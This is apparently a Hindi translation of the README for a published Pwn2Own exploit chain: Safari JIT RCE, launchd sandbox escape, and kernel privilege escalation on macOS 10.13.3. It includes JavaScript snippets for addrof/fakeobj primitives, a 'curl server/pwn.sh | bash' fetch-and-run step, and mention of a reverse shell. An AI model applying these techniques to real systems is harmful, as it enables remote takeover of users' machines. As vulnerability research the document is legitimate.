
एक Pwn2Own एक्सप्लॉइट श्रृंखला
macOS 10.13.3 के लिए Safari RCE, सैंडबॉक्स एस्केप, और कर्नेल तक LPE।
nasm और tornado इंस्टॉल करें:
brew install nasm
pip3 install tornado
यदि आप होस्ट या पोर्ट बदलना चाहते हैं तो config.py देखें। उसके बाद ./server.py से सर्वर शुरू करें और दिखाए गए URL पर जाएँ।
यह एक्सप्लॉइट चेन तीन अलग-अलग बगों का उपयोग करके Safari के अंदर चल रहे JavaScript कोड से कर्नेल-मोड कोड निष्पादन तक पहुँचती है:
एक्सप्लॉइट चेन को छह चरणों में लागू किया गया है, प्रत्येक अपनी स्वयं की उपनिर्देशिका में स्थित है:
हर उपनिर्देशिका (libspc/ को छोड़कर) में make.py नामक एक फ़ाइल होती है, जो निष्पादित होने पर किसी भी आवश्यक बिल्ड कमांड को चलाती है और वेबसर्वर द्वारा प्रदान की जाने वाली फ़ाइलों की एक सूची बनाती है।
लक्ष्य: सैंडबॉक्स किए गए WebContent प्रोसेस के अंदर शेलकोड निष्पादन प्राप्त करना
शोषित बग: DFG JIT कंपाइलर में गलत ऑप्टिमाइज़ेशन
यह भी देखें यह BlackHat वार्ता
DFG JIT कंपाइलर JavaScript कोड को अपने स्वयं के मध्यवर्ती प्रतिनिधित्व (IR), डेटा फ्लो ग्राफ़ (DFG) में प्रस्तुत करता है। आम तौर पर, एक JavaScript एक्सप्रेशन इस ग्राफ़ में एक या कई IR निर्देशों में अनुवादित होगा। कंस्ट्रक्टर फ़ंक्शन के मामले में, CreateThis निर्देश उत्सर्जित होता है और फ़ंक्शन द्वारा निर्मित this ऑब्जेक्ट को आवंटित करने के लिए ज़िम्मेदार होता है। उदाहरण के तौर पर, फ़ंक्शन function Consructor() {}, जब new के साथ कॉल किया जाता है, तो लगभग निम्न प्रकार से अनुवादित होगा
v0 = CreateThis
return v0
AbstractInterpreter को देखते हुए, हम देख सकते हैं कि DFG JIT कंपाइलर मानता है कि CreateThis ऑपरेशन से हीप आवंटन के अलावा कोई अन्य साइड इफेक्ट नहीं होंगे। वास्तव में, यह कोड:
function Constructor(obj) {
return obj.x;
}
लगभग निम्नलिखित DFG निर्देशों में अनुवादित होगा:
(यहाँ, StructureCheck को TypeCheckHoistingPhase द्वारा फ़ंक्शन की शुरुआत में स्थानांतरित कर दिया गया था)।
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
हालाँकि, यह धारणा अमान्य है, क्योंकि CreateThis के लिए स्लो-पाथ कोड कुछ मामलों में मनमाना JavaScript कोड निष्पादित कर सकता है। विशेष रूप से, वास्तविक फ़ंक्शन के चारों ओर Proxy का उपयोग करके, "prototype" प्रॉपर्टी के लिए get ट्रैप को CreateThis के स्लो-पाथ हैंडलर के दौरान कॉल किया जाएगा क्योंकि इसे निर्मित ऑब्जेक्ट के लिए प्रोटोटाइप ऑब्जेक्ट प्राप्त करने की आवश्यकता होती है:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
इस प्रकार, अब JIT कंपाइलर द्वारा बेलआउट किए बिना किसी ऑब्जेक्ट की संरचना को संशोधित करना संभव है।
इस बग का उपयोग addrof और fakeobj प्रिमिटिव बनाने के लिए किया जा सकता है:
हम कोड को अनबॉक्स्ड डबल एलिमेंट वाले JSArray के मामले के लिए कंपाइल करते हैं, फिर कॉलबैक में JSValue एलिमेंट्स में परिवर्तित हो जाते हैं। उसके बाद, JIT कोड सरणी से एक JSValue लोड करेगा, लेकिन उन बिट्स को डबल के रूप में मानकर हमें लौटा देगा। निम्नलिखित कोड leakme का पता निर्मित ऑब्जेक्ट की "address" प्रॉपर्टी को सौंप देगा।
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
यहाँ हम मूल रूप से इसे उल्टा करते हैं: हम कोड को अनबॉक्स्ड डबल एलिमेंट वाली सरणी में डबल स्टोर करने के लिए ऑप्टिमाइज़ करते हैं, फिर कॉलबैक में फिर से JSValue एलिमेंट्स में परिवर्तित हो जाते हैं। कोड हमारे नियंत्रित डबल को अनबॉक्स्ड रूप में बैकिंग स्टोरेज में लिखता रहेगा। जब हम बाद में उस सरणी एलिमेंट को एक्सेस करते हैं, तो यह उन बिट्स को डबल के बजाय JSValue के रूप में मानेगा। निम्नलिखित कोड अनबॉक्स्ड डबल address को a के बैकिंग बफर में लिखेगा, जिसे हम फिर JSValue के रूप में पढ़ सकते हैं, जिससे हम इंजन में अपनी पसंद के JSValue "इंजेक्ट" कर सकते हैं।
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
इस प्रकार हमारे पास एक डबल लिखने और उसे JSObject पॉइंटर के रूप में मानने की क्षमता आ जाती है, और इसके विपरीत भी। इसका शोषण जावास्क्रिप्ट इंजनों पर हमला में वर्णित अनुसार किया जा सकता है।
एक्सप्लॉइट पहले एक Float64Array फेक करके मनमानी प्रोसेस मेमोरी रीड/राइट प्राप्त करता है, फिर JIT क्षेत्र (RWX मैप किया गया) खोजता है और वहाँ stage1 शेलकोड लिखता है।
लक्ष्य: डिस्क पर .dylib लिखकर और उसे dlopen() के माध्यम से लोड करके चरण 2 को बूटस्ट्रैप करना
एक छोटा असेंबली पेलोड जो मूल रूप से निम्नलिखित कार्य करता है:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) को कॉल करके एक लिखने योग्य निर्देशिका का पथ प्राप्त करेंdlopen() के माध्यम से dylib को WebContent प्रोसेस में लोड करेंलक्ष्य: सैंडबॉक्स से बाहर निकलना
शोषित बग: launchd के "legacy_spawn" API में सैंडबॉक्स जाँचों का अभाव
यह भी देखें यह वार्ता
Launchd "legacy_spawn" RPC एंडपॉइंट को सबसिस्टम 3 में रूटीन 817 के रूप में उजागर करता है। यह API यह सत्यापित करने में विफल रहता है कि कॉलर को प्रोसेस स्पॉन करने की अनुमति दी जानी चाहिए या नहीं, और यह केवल कॉलर के लिए नियंत्रित तर्कों के साथ सिस्टम पर किसी भी बाइनरी का execve कर देगा। चूँकि launchd बूटस्ट्रैप पोर्ट के माध्यम से पहुँच योग्य है, यह सैंडबॉक्स से बाहर निकलना संभव बनाता है।
एक्सप्लॉइट मूल रूप से curl server/pwn.sh | bash चलाता है और इस प्रकार नियंत्रण stage3 को सौंप देता है।
लक्ष्य: कैलकुलेटर खोलना और शेष चरणों को बूटस्ट्रैप करना
यह open /Applications/Calculator.app निष्पादित करता है और एक रिवर्स शेल स्थापित करता है, फिर शेष चरणों के लिए आवश्यक सभी फ़ाइलें प्राप्त करता है और एक्सप्लॉइट चलाता है।
लक्ष्य: LPE एक्सप्लॉइट के माध्यम से रूट प्राप्त करना
शोषित बग: XNU बूटस्ट्रैप पोर्ट MitM
यह भी देखें यह POC वार्ता